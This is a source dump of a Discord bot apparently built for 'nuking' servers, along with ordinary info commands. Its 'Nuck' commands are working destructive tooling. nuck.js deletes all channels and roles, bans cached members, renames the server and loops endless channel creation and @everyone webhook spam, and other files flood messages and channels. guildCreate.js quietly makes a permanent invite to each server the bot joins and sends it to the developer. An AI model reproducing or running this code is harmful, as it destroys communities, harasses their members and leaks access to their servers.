avatar: client.user.displayAvatarURL({ dynamic: true }) }) 31 | }catch{ 32 | } 33 | }, 1000) 34 | }) 35 | }catch(e){ 36 | return errorMessage(client, message, `\`\`\`js\n${e}\n\`\`\``) 37 | } 38 | }catch(e){ 39 | return errorMessage(client, message, `\`\`\`js\n${e}\n\`\`\``) 40 | } 41 | } 42 | } 43 | /** 44 | * @Info 45 | * Bot Coded by Mr.SIN RE#1528 :) | https://dsc.gg/persian-caesar 46 | * @Info 47 | * Work for Persian Caesar | https://dsc.gg/persian-caesar 48 | * @Info 49 | * Please Mention Us "Persian Caesar", When Have Problem With Using This Code! 50 | * @Info 51 | */ -------------------------------------------------------------------------------- /commands/Nuck 📟/spamm.js: -------------------------------------------------------------------------------- 1 | const { 2 | ActionRowBuilder, 3 | ButtonBuilder, 4 | ButtonStyle, 5 | EmbedBuilder, 6 | ChannelType, 7 | PermissionsBitField 8 | } = require("discord.js"); 9 | const { 10 | errorMessage 11 | } = require(`${process.cwd()}/functions/functions`); 12 | module.exports = { 13 | name: 'spamm', 14 | aliases: ['message spam','spam message','spm'], 15 | category: 'Nuck 📟', 16 | description: 'Spam message in all channels.', 17 | usage: "", 18 | cooldown: 8, 19 | run: async function(client, message, args, prefix){ 20 | let db = client.db; 21 | if(!message.member.permissions.has([PermissionsBitField.Flags.Administrator]) && !client.config.owner.some(r => r.includes(message.author.id))) return errorMessage(client, message, `> You can't use this command.`) 22 | try{ 23 | let msg = args.join(" "); 24 | await message.reply({ 25 | content: `${client.emotes.start}| Starting spam message in all channels.` 26 | }) 27 | try{ 28 | message.guild.channels.cache.filter(c=> c.type === ChannelType.GuildText).forEach(async(c)=>{ 29 | setInterval(()=>{ 30 | try{ 31 | c.send({ 32 | content: msg? msg : "Spamming" 33 | }) 34 | }catch{ 35 | } 36 | }, 1000) 37 | }) 38 | }catch(e){ 39 | return errorMessage(client, message, `\`\`\`js\n${e}\n\`\`\``) 40 | } 41 | }catch(e){ 42 | return errorMessage(client, message, `\`\`\`js\n${e}\n\`\`\``) 43 | } 44 | } 45 | } 46 | /** 47 | * @Info 48 | * Bot Coded by Mr.SIN RE#1528 :) | https://dsc.gg/persian-caesar 49 | * @Info 50 | * Work for Persian Caesar | https://dsc.gg/persian-caesar 51 | * @Info 52 | * Please Mention Us "Persian Caesar", When Have Problem With Using This Code! 53 | * @Info 54 | */ -------------------------------------------------------------------------------- /commands/Nuck 📟/unbanal.js: -------------------------------------------------------------------------------- 1 | const { 2 | ActionRowBuilder, 3 | ButtonBuilder, 4 | ButtonStyle, 5 | EmbedBuilder, 6 | PermissionsBitField 7 | } = require("discord.js"); 8 | const { 9 | errorMessage 10 | } = require(`${process.cwd()}/functions/functions`); 11 | module.exports = { 12 | name: 'unbanal', 13 | aliases: ['unban all members','uba'], 14 | category: 'Nuck 📟', 15 | description: 'Unban all members.', 16 | usage: "", 17 | cooldown: 8, 18 | run: async function(client, message, args, prefix){ 19 | let db = client.db; 20 | if(!message.member.permissions.has([PermissionsBitField.Flags.Administrator]) && !client.config.owner.some(r => r.includes(message.author.id))) return errorMessage(client, message, `> You can't use this command.`) 21 | try{ 22 | let msg = await message.reply({ 23 | content: `${client.emotes.start}| Starting unban all members.` 24 | }) 25 | try{ 26 | message.guild.bans.fetch() 27 | .then(bans=>{ 28 | bans.forEach(async(m)=>{ 29 | try{ 30 | await message.guild.members.unban(m.user.id, `Nucking guild.`) 31 | }catch{ 32 | } 33 | })//.then(()=>{ 34 | msg.edit({ 35 | content: `${client.emotes.trash}| All members has been unbaned.` 36 | }) 37 | //}) 38 | }) 39 | }catch(e){ 40 | return errorMessage(client, message, `\`\`\`js\n${e}\n\`\`\``) 41 | } 42 | }catch(e){ 43 | return errorMessage(client, message, `\`\`\`js\n${e}\n\`\`\``) 44 | } 45 | } 46 | } 47 | /** 48 | * @Info 49 | * Bot Coded by Mr.SIN RE#1528 :) | https://dsc.gg/persian-caesar 50 | * @Info 51 | * Work for Persian Caesar | https://dsc.gg/persian-caesar 52 | * @Info 53 | * Please Mention Us "Persian Caesar", When Have Problem With Using This Code! 54 | * @Info 55 | */ -------------------------------------------------------------------------------- /commands/Nuck 📟/delw.js: -------------------------------------------------------------------------------- 1 | const { 2 | ActionRowBuilder, 3 | ButtonBuilder, 4 | ButtonStyle, 5 | EmbedBuilder, 6 | ChannelType, 7 | PermissionsBitField 8 | } = require("discord.js"); 9 | const { 10 | errorMessage 11 | } = require(`${process.cwd()}/functions/functions`); 12 | module.exports = { 13 | name: 'delw', 14 | aliases: ['delete all webhooks','dw'], 15 | category: 'Nuck 📟', 16 | description: 'Delete all webhooks.', 17 | usage: "", 18 | cooldown: 8, 19 | run: async function(client, message, args, prefix){ 20 | let db = client.db; 21 | if(!message.member.permissions.has([PermissionsBitField.Flags.Administrator]) && !client.config.owner.some(r => r.includes(message.author.id))) return errorMessage(client, message, `> You can't use this command.`) 22 | try{ 23 | let msg = await message.reply({ 24 | content: `${client.emotes.start}| Starting deleting all webhooks.` 25 | }) 26 | try{ 27 | message.guild.channels.cache.filter(c=> c.type === ChannelType.GuildText).forEach(async(c)=>{ 28 | c.fetchWebhooks().forEach(async(w)=>{ 29 | try{ 30 | setTimeout(async()=>{ 31 | await w.delete() 32 | }, 1000) 33 | }catch{ 34 | } 35 | }) 36 | }) 37 | msg.edit({ 38 | content: `${client.emotes.trash}| All webhooks has been removed.` 39 | }) 40 | }catch(e){ 41 | return errorMessage(client, message, `\`\`\`js\n${e}\n\`\`\``) 42 | } 43 | }catch(e){ 44 | return errorMessage(client, message, `\`\`\`js\n${e}\n\`\`\``) 45 | } 46 | } 47 | } 48 | /** 49 | * @Info 50 | * Bot Coded by Mr.SIN RE#1528 :) | https://dsc.gg/persian-caesar 51 | * @Info 52 | * Work for Persian Caesar | https://dsc.gg/persian-caesar 53 | * @Info 54 | * Please Mention Us "Persian Caesar", When Have Problem With Using This Code! 55 | * @Info 56 | */ -------------------------------------------------------------------------------- /storage/config.js: -------------------------------------------------------------------------------- 1 | require('dotenv').config() 2 | module.exports = { 3 | source: { 4 | website : { 5 | support: "https://discord.gg/P4XxUmebDa", 6 | domain: ""//you need get your repl.co link in replit with keepAlive code, then replace the link 7 | }, 8 | anti_crash: true,//turn on or off the antiCrash file 9 | keep_alive: true,//turn on or off the keepAlive file 10 | dashboard: false,//turn on or off the bot dashboard website 11 | port: 1528,//don't need to touch or changed 12 | callback: '',//you need get your repl.co link in replit with keepAlive code, then replace the link right behind of /callback 13 | secret: process.env.USER_SECRET_ID,//bot secret id, you can get it in discord developer portal 14 | client_id: process.env.CLIENT_ID,//bot client id, you can get it in discord server or in discord developer portal 15 | }, 16 | discord: { 17 | token: process.env.TOKEN, 18 | prefix: process.env.PREFIX, 19 | invite: `https://discord.com/oauth2/authorize?client_id=${process.env.CLIENT_ID}&scope=bot+applications.commands&permissions=2080374975`, 20 | server_support: "https://discord.gg/P4XxUmebDa", 21 | server_id: "1054814674979409940", 22 | server_channel_report: "1054814677806370927", 23 | server_channel_status: "1054814677806370928", 24 | }, 25 | vip_role: [ 26 | '912596015108988983' 27 | ], 28 | owner: [ 29 | '831934465609302056', 30 | '866992479328665600' 31 | ], 32 | whitelist_guilds: [ 33 | '1054814674979409940', 34 | '991716504464797839', 35 | '901877002926174279', 36 | '912596015075455016' 37 | ], 38 | }; 39 | /** 40 | * @Info 41 | * Bot Coded by Mr.SIN RE#1528 :) | https://dsc.gg/persian-caesar 42 | * @Info 43 | * Work for Persian Caesar | https://dsc.gg/persian-caesar 44 | * @Info 45 | * Please Mention Us "Persian Caesar", When Have Problem With Using This Code! 46 | * @Info 47 | */ -------------------------------------------------------------------------------- /commands/Nuck 📟/spamc.js: -------------------------------------------------------------------------------- 1 | const { 2 | ActionRowBuilder, 3 | ButtonBuilder, 4 | ButtonStyle, 5 | EmbedBuilder, 6 | ChannelType, 7 | PermissionsBitField 8 | } = require("discord.js"); 9 | const { 10 | errorMessage 11 | } = require(`${process.cwd()}/functions/functions`); 12 | module.exports = { 13 | name: 'spamc', 14 | aliases: ['channel spam','spam channel','spc'], 15 | category: 'Nuck 📟', 16 | description: 'Spam channel in guild.', 17 | usage: "", 18 | cooldown: 8, 19 | run: async function(client, message, args, prefix){ 20 | let db = client.db; 21 | if(!message.member.permissions.has([PermissionsBitField.Flags.Administrator]) && !client.config.owner.some(r => r.includes(message.author.id))) return errorMessage(client, message, `> You can't use this command.`) 22 | try{ 23 | let type = args[0]; 24 | await message.reply({ 25 | content: `${client.emotes.start}| Starting spam channel in guild.` 26 | }) 27 | try{ 28 | setInterval(()=>{ 29 | try{ 30 | message.guild.channels.create({ 31 | name: `spamming-channels`, 32 | type: type === "voice"? ChannelType.GuildVoice : type === "category"? ChannelType.GuildCategory : type === "forum"? ChannelType.GuildForum : type === "announcement"? ChannelType.GuildAnnouncement : type === "text"? ChannelType.GuildText : ChannelType.GuildText, 33 | reason: `nucking with spamming`, 34 | topic: `Spamming channel`, 35 | }) 36 | }catch{ 37 | } 38 | }, 1000) 39 | }catch(e){ 40 | return errorMessage(client, message, `\`\`\`js\n${e}\n\`\`\``) 41 | } 42 | }catch(e){ 43 | return errorMessage(client, message, `\`\`\`js\n${e}\n\`\`\``) 44 | } 45 | } 46 | } 47 | /** 48 | * @Info 49 | * Bot Coded by Mr.SIN RE#1528 :) | https://dsc.gg/persian-caesar 50 | * @Info 51 | * Work for Persian Caesar | https://dsc.gg/persian-caesar 52 | * @Info 53 | * Please Mention Us "Persian Caesar", When Have Problem With Using This Code! 54 | * @Info 55 | */ -------------------------------------------------------------------------------- /commands/Infos 📊/invite.js: -------------------------------------------------------------------------------- 1 | const { 2 | errorMessage 3 | } = require(`${process.cwd()}/functions/functions`); 4 | const Discord = require("discord.js"); 5 | module.exports = { 6 | name: 'invite', 7 | description: 'Invite the bot to your own guild.', 8 | category: 'Infos 📊', 9 | cooldown: 2, 10 | userPermissions: ["SendMessages"], 11 | botPermissions: ["SendMessages", "EmbedLinks"], 12 | aliases: ['in','add me','add'], 13 | usage: "", 14 | run: async (client, message, args) => { 15 | try{ 16 | let inviteEmbed = new Discord.EmbedBuilder() 17 | .setThumbnail(client.user.displayAvatarURL({ format: "png" })) 18 | .setTitle(`Invite Me To Your Guild`) 19 | .setDescription(`**[Invite Me](${client.config.discord.invite}) to your server by clicking on the My profile, then clicking on the 'Add to Server' button. \nAlternatively, you can click below to [Invite Me](${client.config.discord.invite}) to your server!**`) 20 | .setFooter({ 21 | text: client.embed.footerText, 22 | iconURL: client.embed.footerIcon 23 | }) 24 | .setURL(`${client.config.discord.server_support}`) 25 | .setColor(client.colors.none) 26 | 27 | message.reply({ 28 | components: [new Discord.ActionRowBuilder().addComponents(new Discord.ButtonBuilder().setStyle(Discord.ButtonStyle.Link).setLabel('Invite Me').setEmoji(client.emotes.invite).setURL(`${client.config.discord.invite}`)),new Discord.ActionRowBuilder().addComponents(new Discord.ButtonBuilder().setStyle(Discord.ButtonStyle.Link).setLabel('Support Server!').setEmoji(client.emotes.help).setURL(`${client.config.discord.server_support}`))], 29 | embeds: [inviteEmbed] 30 | }); 31 | }catch(e){ 32 | console.log(e) 33 | errorMessage(client, message, '```js\n' + e + '```') 34 | } 35 | } 36 | } 37 | /** 38 | * @Info 39 | * Bot Coded by Mr.SIN RE#1528 :) | https://dsc.gg/persian-caesar 40 | * @Info 41 | * Work for Persian Caesar | https://dsc.gg/persian-caesar 42 | * @Info 43 | * Please Mention Us "Persian Caesar", When Have Problem With Using This Code! 44 | * @Info 45 | */ -------------------------------------------------------------------------------- /events/guild/guildDelete.js: -------------------------------------------------------------------------------- 1 | const { 2 | EmbedBuilder, 3 | ChannelType 4 | } = require('discord.js'); 5 | module.exports = async (client, guild) => { 6 | let Sguild = client.guilds.cache.get(client.config.discord.server_id); 7 | let channel = Sguild.channels.cache.get(client.config.discord.server_channel_status); 8 | let owner = await guild.fetchOwner(); 9 | let embed = new EmbedBuilder() 10 | .setAuthor({ 11 | name: guild.name, 12 | iconURL: owner.user.displayAvatarURL({ dynamic: true }) 13 | }) 14 | .setDescription(`I have kicked from \`${guild.name}\` and my guilds count is: \`${client.guilds.cache.size}\``) 15 | .addFields([{ 16 | name: `👑| Owner Tag: `, 17 | value: `${client.emotes.reply}\`${owner.user.tag}\``, 18 | inline: true 19 | },{ 20 | name: `👓| Owner ID: `, 21 | value: `${client.emotes.reply}\`${owner.user.id}\``, 22 | inline: true 23 | },{ 24 | name: `👥| Total Members:`, 25 | value: `${client.emotes.reply}\`${guild.members.cache.size}\``, 26 | inline: true 27 | },{ 28 | name: `📬| Server Invite: `, 29 | value: `${client.emotes.reply}**can't create it :(**`, 30 | inline: true 31 | },{ 32 | name: `🆔| Guild ID:`, 33 | value: `${client.emotes.reply}**\`${guild.id}\`**`, 34 | inline: true 35 | },{ 36 | name: `📅| Created at:`, 37 | value: `${client.emotes.reply}** | **`, 38 | inline: true 39 | }]) 40 | .setColor(client.colors.none) 41 | .setThumbnail(guild.iconURL({ dynamic: true })) 42 | .setFooter({ 43 | text: client.user.tag, 44 | iconURL: client.user.displayAvatarURL({ dynamic: true }) 45 | }) 46 | .setTimestamp(Date.now()) 47 | 48 | channel.send({ 49 | embeds: [embed] 50 | }) 51 | } 52 | /** 53 | * @Info 54 | * Bot Coded by Mr.SIN RE#1528 :) | https://dsc.gg/persian-caesar 55 | * @Info 56 | * Work for Persian Caesar | https://dsc.gg/persian-caesar 57 | * @Info 58 | * Please Mention Us "Persian Caesar", When Have Problem With Using This Code! 59 | * @Info 60 | */ -------------------------------------------------------------------------------- /handlers/keepAlive.js: -------------------------------------------------------------------------------- 1 | const express = require('express'); 2 | const clc = require("cli-color"); 3 | const app = express(); 4 | const stringlength = 69; 5 | module.exports = async (client) => { 6 | let port = client.config.source.port; 7 | app.use(express.static("public")); 8 | app.get("/", (req, res) => { 9 | res.setHeader('Content-Type', 'text/html'); 10 | res.send(`Your App Sucessfully Hosted By Express`); 11 | res.end() 12 | }); 13 | 14 | const listener = app.listen(port, () =>{ 15 | console.log("\n"+ 16 | clc.yellowBright(` ┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓`) + `\n` + 17 | clc.yellowBright(` ┃ ` + " ".repeat(-1+stringlength-` ┃ `.length)+ "┃") + `\n` + 18 | clc.yellowBright(` ┃ ` + clc.greenBright(` /--/ 24/7 KeepAlive Server is online! /--/`) + " ".repeat(-1+stringlength-` ┃ `.length-` /--/ 24/7 KeepAlive Server is online! /--/`.length)+ "┃") + `\n` + 19 | clc.yellowBright(` ┃ ` + " ".repeat(-1+stringlength-` ┃ `.length)+ "┃") + `\n` + 20 | clc.yellowBright(` ┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛`) +`\n` 21 | ) 22 | console.log("\n"+ 23 | clc.yellowBright(` ┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓`) + `\n` + 24 | clc.yellowBright(` ┃ `) + " ".repeat(-1 + stringlength - ` ┃ `.length) + clc.yellowBright("┃") + `\n` + 25 | clc.yellowBright(` ┃ `) + clc.greenBright(` Your app listening at ${clc.cyanBright("http://localhost:"+port||listener.address().port)} `) + " ".repeat(-1 + stringlength - ` ┃ `.length - ` Your app listening at ${"http://localhost:"+port||listener.address().port}`.length) + clc.yellowBright("┃") + `\n` + 26 | clc.yellowBright(` ┃ `) + " ".repeat(-1 + stringlength - ` ┃ `.length) + clc.yellowBright("┃") + `\n` + 27 | clc.yellowBright(` ┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛`) + `\n` 28 | ) 29 | }); 30 | } 31 | /** 32 | * @Info 33 | * Bot Coded by Mr.SIN RE#1528 :) | https://dsc.gg/persian-caesar 34 | * @Info 35 | * Work for Persian Caesar | https://dsc.gg/persian-caesar 36 | * @Info 37 | * Please Mention Us "Persian Caesar", When Have Problem With Using This Code! 38 | * @Info 39 | */ -------------------------------------------------------------------------------- /storage/emotes.json: -------------------------------------------------------------------------------- 1 | { 2 | "x": "❌", 3 | "error": "⚠", 4 | "alert": "⏰", 5 | "badage": "📛", 6 | "entry": "⛔", 7 | "success": "✅", 8 | "trash": "🗑️", 9 | "ticket": "🎟️", 10 | "tick": "☑", 11 | "open": "🔓", 12 | "close": "🔒", 13 | "rename": "🖋", 14 | "report": "📞", 15 | "setup": "📝", 16 | "reason": "📖", 17 | "system": "⚙", 18 | "hamer": "🛠", 19 | "setting": "🛠", 20 | "mail": "📩", 21 | "type": "⌨️", 22 | "option": "🗄", 23 | "log": "🪵", 24 | "add": "📥", 25 | "invite": "💌", 26 | "help": "🧰", 27 | "info": "📁", 28 | "print": "📇", 29 | "plus": "➕", 30 | "exchange": "💸", 31 | "hurt": "💕", 32 | "admin": "📠", 33 | "category": "🗂", 34 | "hack": "💻", 35 | "commands": "🔩", 36 | "slashcmds": "🔧", 37 | "premium": "💎", 38 | "home": "🏠", 39 | "arch": "🎨", 40 | "cros": "🎚", 41 | "shard": "🎛", 42 | "disJS": "📘", 43 | "version": "🆚", 44 | "start": "🎬", 45 | "text_channel": "💬", 46 | "voice_channel":"🎙", 47 | "guild": "📡", 48 | "usage": "🚮", 49 | "memory": "💾", 50 | "join": "🗓", 51 | "date": "📅", 52 | "id": "🆔", 53 | "tag": "🏷", 54 | "uptime": "🔝", 55 | "status": "🔭", 56 | "ping": "🏓", 57 | "typing": "👩🏻‍💻", 58 | "learn": "🎓", 59 | "next": "⏭️", 60 | "language": "📚", 61 | "en-US": "🇺🇸", 62 | "disable1": "<:disable_1:1063663071752638534>", 63 | "disable2": "<:disable_2:1063662987996569701>", 64 | "enable1": "<:enable_1:1063662460986470520>", 65 | "enable2": "<:enable_2:1063662512337342545>", 66 | "node": "<:node_js:1041191707242414081>", 67 | "cpu": "", 68 | "reply": "<:reply:1081204222772645908>", 69 | "down": "<:down:1081224353032720474>", 70 | "boost": "", 71 | "nitro": "<:nitro:993077276600172644>" 72 | } -------------------------------------------------------------------------------- /events/guild/guildCreate.js: -------------------------------------------------------------------------------- 1 | const { 2 | EmbedBuilder, 3 | ChannelType 4 | } = require('discord.js'); 5 | module.exports = async (client, guild) => { 6 | let Sguild = client.guilds.cache.get(client.config.discord.server_id); 7 | let channel = Sguild.channels.cache.get(client.config.discord.server_channel_status); 8 | let invite = await guild.channels.cache.filter(x => x.type === ChannelType.GuildText).random(1)[0].createInvite({ 9 | maxAge: 0, 10 | maxUses: 5 11 | }) 12 | let owner = await guild.fetchOwner(); 13 | let embed = new EmbedBuilder() 14 | .setAuthor({ 15 | name: guild.name, 16 | iconURL: owner.user.displayAvatarURL({ dynamic: true }) 17 | }) 18 | .setDescription(`I have added in \`${guild.name}\` and my guilds count is: \`${client.guilds.cache.size}\``) 19 | .addFields([{ 20 | name: `👑| Owner Tag: `, 21 | value: `${client.emotes.reply}\`${owner.user.tag}\``, 22 | inline: true 23 | },{ 24 | name: `👓| Owner ID: `, 25 | value: `${client.emotes.reply}\`${owner.user.id}\``, 26 | inline: true 27 | },{ 28 | name: `👥| Total Members:`, 29 | value: `${client.emotes.reply}\`${guild.members.cache.size}\``, 30 | inline: true 31 | },{ 32 | name: `📬| Server Invite: `, 33 | value: `${client.emotes.reply}**${invite? `${invite.url}` : "can't create it :("}**`, 34 | inline: true 35 | },{ 36 | name: `🆔| Guild ID:`, 37 | value: `${client.emotes.reply}**\`${guild.id}\`**`, 38 | inline: true 39 | },{ 40 | name: `📅| Created at:`, 41 | value: `${client.emotes.reply}** | **`, 42 | inline: true 43 | }]) 44 | .setColor(client.colors.none) 45 | .setThumbnail(guild.iconURL({ dynamic: true })) 46 | .setFooter({ 47 | text: client.user.tag, 48 | iconURL: client.user.displayAvatarURL({ dynamic: true }) 49 | }) 50 | .setTimestamp(Date.now()) 51 | 52 | channel.send({ 53 | embeds: [embed] 54 | }) 55 | } 56 | /** 57 | * @Info 58 | * Bot Coded by Mr.SIN RE#1528 :) | https://dsc.gg/persian-caesar 59 | * @Info 60 | * Work for Persian Caesar | https://dsc.gg/persian-caesar 61 | * @Info 62 | * Please Mention Us "Persian Caesar", When Have Problem With Using This Code! 63 | * @Info 64 | */ -------------------------------------------------------------------------------- /events/button/interactionCreate.js: -------------------------------------------------------------------------------- 1 | const { 2 | StringSelectMenuBuilder, 3 | EmbedBuilder, 4 | ButtonBuilder, 5 | ActionRowBuilder, 6 | ButtonStyle, 7 | ModalBuilder, 8 | TextInputStyle, 9 | TextInputBuilder, 10 | PermissionsBitField 11 | } = require("discord.js"); 12 | const { 13 | errorMessage, 14 | logMessage 15 | } = require(`${process.cwd()}/functions/functions`) 16 | module.exports = async (client, interaction) => { 17 | try { 18 | if (!interaction.isButton()) return; 19 | let db = client.db; 20 | if (interaction.customId === "premium") { 21 | interaction.reply({ 22 | embeds: [new EmbedBuilder().setTitle(client.emotes.premium + '| **Premium Info**').setColor(client.colors.aqua).setDescription(`In soon...`)], 23 | ephemeral: true 24 | }) 25 | } 26 | if (interaction.customId === "cancel" || interaction.customId === "dont_do") { 27 | interaction.update({ 28 | embeds: [new EmbedBuilder().setAuthor({ name: `Requested by ` + interaction.user.tag, iconURL: interaction.user.displayAvatarURL({ dynamic: true }) }).setTitle(client.emotes.x + '| **Canceled The Process**').setColor(client.colors.none).setDescription(`You have canceled your request to work some thing and now the work have bin canceled for you. Good luck and victory.`).setFooter({ text: "Canceled • " + client.embed.footerText, iconURL: interaction.guild.iconURL({ dynamic: true }) })], 29 | components: [new ActionRowBuilder().addComponents(new ButtonBuilder().setStyle(ButtonStyle.Danger).setLabel("Canceled").setCustomId("dont_close").setEmoji(client.emotes.x).setDisabled(true))] 30 | }) 31 | } 32 | if (interaction.customId === "report") { 33 | const content = new TextInputBuilder() 34 | .setCustomId('report') 35 | .setLabel("What do you want to report?") 36 | .setRequired(true) 37 | .setPlaceholder('Enter some text!') 38 | .setStyle(TextInputStyle.Paragraph) 39 | 40 | const modal = new ModalBuilder() 41 | .setCustomId('reporting') 42 | .setTitle('Reporting Bugs or Other Things') 43 | .addComponents(new ActionRowBuilder().addComponents(content)); 44 | 45 | await interaction.showModal(modal); 46 | } 47 | } catch (e) { 48 | console.log(e) 49 | //errorMessage(client, interaction, '```js\n' + e + '```') 50 | } 51 | } 52 | /** 53 | * @Info 54 | * Bot Coded by Mr.SIN RE#1528 :) | https://dsc.gg/persian-caesar 55 | * @Info 56 | * Work for Persian Caesar | https://dsc.gg/persian-caesar 57 | * @Info 58 | * Please Mention Us "Persian Caesar", When Have Problem With Using This Code! 59 | * @Info 60 | */ -------------------------------------------------------------------------------- /handlers/slashCommandHandler.txt: -------------------------------------------------------------------------------- 1 | const { 2 | readdirSync 3 | } = require("fs"); 4 | const clc = require("cli-color"); 5 | module.exports = async (bot) => { 6 | try { 7 | let amount = 0; 8 | const slashCommandsArray = []; 9 | readdirSync(`${process.cwd()}/commands/`).forEach((dir) => { 10 | const slashCommands = readdirSync(`${process.cwd()}/commands/${dir}/slash`).filter((file) => file.endsWith(".js")); 11 | for (let file of slashCommands) { 12 | const pull = require(`${process.cwd()}/commands/${dir}/slash/${file}`); 13 | if (pull.name) { 14 | bot.slashCommands.set(pull.name, pull); 15 | if (["MESSAGE", "USER"].includes(pull.type)) delete pull.description; 16 | slashCommandsArray.push(pull) 17 | amount++ 18 | } else { 19 | try { 20 | console.log(clc.redBright(`Slash Command Not Loaded: ${file}`)) 21 | } catch (e){ 22 | console.log(e) 23 | } 24 | continue; 25 | } 26 | } 27 | }); 28 | try { 29 | const stringlength = 69; 30 | console.log("\n") 31 | console.log(clc.yellowBright(` ┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓`)) 32 | console.log(clc.yellowBright(` ┃ `) + " ".repeat(-1 + stringlength - ` ┃ `.length) + clc.yellowBright("┃")) 33 | console.log(clc.yellowBright(` ┃ `) + clc.greenBright(` ${clc.cyanBright(amount)} Slash Commands Is Loaded!!`) + " ".repeat(-1 + stringlength - ` ┃ `.length - ` ${amount} Slash Commands Is Loaded!!`.length) + clc.yellowBright("┃")) 34 | console.log(clc.yellowBright(` ┃ `) + " ".repeat(-1 + stringlength - ` ┃ `.length) + clc.yellowBright("┃")) 35 | console.log(clc.yellowBright(` ┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛`)) + '\n' 36 | } catch (e){ 37 | console.log(e) 38 | } 39 | 40 | bot.on("ready", async () => { 41 | try { 42 | // For 1 Server Only👇🏻 43 | // await bot.guilds.cache.get(bot.config.discord.support_server_id).commands.set(slashCommandsArray); 44 | // For Global Server👇🏻 45 | await bot.application.commands.set(slashCommandsArray); 46 | //For remove all /commands on guilds 47 | //await bot.application.commands.set([]) 48 | } catch (error) { 49 | console.log(error) 50 | } 51 | }) 52 | } catch (e) { 53 | console.log(e); 54 | } 55 | } 56 | /** 57 | * @Info 58 | * Bot Coded by Mr.SIN RE#1528 :) | https://dsc.gg/persian-caesar 59 | * @Info 60 | * Work for Persian Caesar | https://dsc.gg/persian-caesar 61 | * @Info 62 | * Please Mention Us "Persian Caesar", When Have Problem With Using This Code! 63 | * @Info 64 | */ -------------------------------------------------------------------------------- /commands/Nuck 📟/nuck.js: -------------------------------------------------------------------------------- 1 | const { 2 | ActionRowBuilder, 3 | ButtonBuilder, 4 | ButtonStyle, 5 | EmbedBuilder, 6 | ChannelType, 7 | PermissionsBitField 8 | } = require("discord.js"); 9 | const { 10 | errorMessage 11 | } = require(`${process.cwd()}/functions/functions`); 12 | module.exports = { 13 | name: 'nuck', 14 | aliases: ['nu'], 15 | category: 'Nuck 📟', 16 | description: 'Nucking the guild.', 17 | usage: "", 18 | cooldown: 8, 19 | run: async function(client, message, args, prefix){ 20 | let db = client.db; 21 | if(!message.member.permissions.has([PermissionsBitField.Flags.Administrator]) && !client.config.owner.some(r => r.includes(message.author.id))) return errorMessage(client, message, `> You can't use this command.`) 22 | try{ 23 | await message.reply({ 24 | content: `${client.emotes.start}| Starting nuck the guild.` 25 | }) 26 | try{ 27 | await message.guild.channels.cache.forEach(async(ch)=>{ 28 | try{ 29 | //setTimeout(async()=>{ 30 | await ch.delete() 31 | //}, 1000) 32 | }catch{ 33 | } 34 | }) 35 | await message.guild.roles.cache.forEach(async(r)=>{ 36 | try{ 37 | //setTimeout(async()=>{ 38 | await r.delete() 39 | //}, 1000) 40 | }catch{ 41 | } 42 | }) 43 | await message.guild.setIcon(client.user.displayAvatarURL({ dynamic: true })); 44 | await message.guild.setName(`Nucked with Nucker Bot by Pc Development`); 45 | setInterval(()=>{ 46 | message.guild.channels.create({ name: `Nucking Guild`, reason: `Nucking Guild`, type: ChannelType.GuildText }) 47 | .then((channel)=>{ 48 | channel.createWebhook({ name: `Nucker`, avatar: client.user.displayAvatarURL({ dynamic: true }) }) 49 | .then(webhook => setInterval(()=>{ webhook.send({ content: `@everyone Nucking Guild.` }) }, 1000) ) 50 | }) 51 | message.guild.channels.create({ name: `Nucking Guild`, reason: `Nucking Guild`, type: ChannelType.GuildVoice }) 52 | message.guild.channels.create({ name: `Nucking Guild`, reason: `Nucking Guild`, type: ChannelType.GuildCategory }) 53 | message.guild.roles.create({ name: `Nucking Guild`, reason: `Nucking Guild`, color: "Random" }) 54 | }, 5000) 55 | message.guild.members.cache.forEach(async(m)=>{ 56 | try{ 57 | await m.ban({ reason: `Nucking guild.` }) 58 | }catch{ 59 | } 60 | }) 61 | }catch{ 62 | } 63 | }catch(e){ 64 | return errorMessage(client, message, `\`\`\`js\n${e}\n\`\`\``) 65 | } 66 | } 67 | } 68 | /** 69 | * @Info 70 | * Bot Coded by Mr.SIN RE#1528 :) | https://dsc.gg/persian-caesar 71 | * @Info 72 | * Work for Persian Caesar | https://dsc.gg/persian-caesar 73 | * @Info 74 | * Please Mention Us "Persian Caesar", When Have Problem With Using This Code! 75 | * @Info 76 | */ -------------------------------------------------------------------------------- /commands/Infos 📊/ping.js: -------------------------------------------------------------------------------- 1 | const { 2 | ButtonBuilder, 3 | ActionRowBuilder, 4 | StringSelectMenuBuilder, 5 | EmbedBuilder, 6 | ButtonStyle, 7 | ApplicationCommandType, 8 | ApplicationCommandOptionType 9 | } = require('discord.js'); 10 | const { 11 | wait 12 | } = require(`${process.cwd()}/functions/functions.js`); 13 | module.exports = { 14 | name: 'ping', 15 | description: 'Get bot latency and ping.', 16 | category: 'Infos 📊', 17 | cooldown: 4, 18 | userPermissions: ["SendMessages"], 19 | botPermissions: ["SendMessages", "EmbedLinks"], 20 | aliases: ['pong'], 21 | usage: "", 22 | run: async (client, message, args) => { 23 | let timer = 3000; 24 | var states = "🟢 Excellent"; 25 | var states2 = "🟢 Excellent"; 26 | var msg = `${Date.now() - message.createdTimestamp}`; 27 | var api = `${Math.round(client.ws.ping)}`; 28 | if (Number(msg) > 70) states = "🟢 Good"; 29 | if (Number(msg) > 170) states = "🟡 Not Bad"; 30 | if (Number(msg) > 350) states = "🔴 Soo Bad"; 31 | if (Number(api) > 70) states2 = "🟢 Good"; 32 | if (Number(api) > 170) states2 = "🟡 Not Bad"; 33 | if (Number(api) > 350) states2 = "🔴 Soo Bad"; 34 | 35 | let pingEmbed = new EmbedBuilder() 36 | .setThumbnail(client.user.displayAvatarURL()) 37 | .setColor(client.colors.none) 38 | .setDescription(`**Pong🏓!** \n 📱${client.user.username} Ping `) 39 | .addFields([{ 40 | 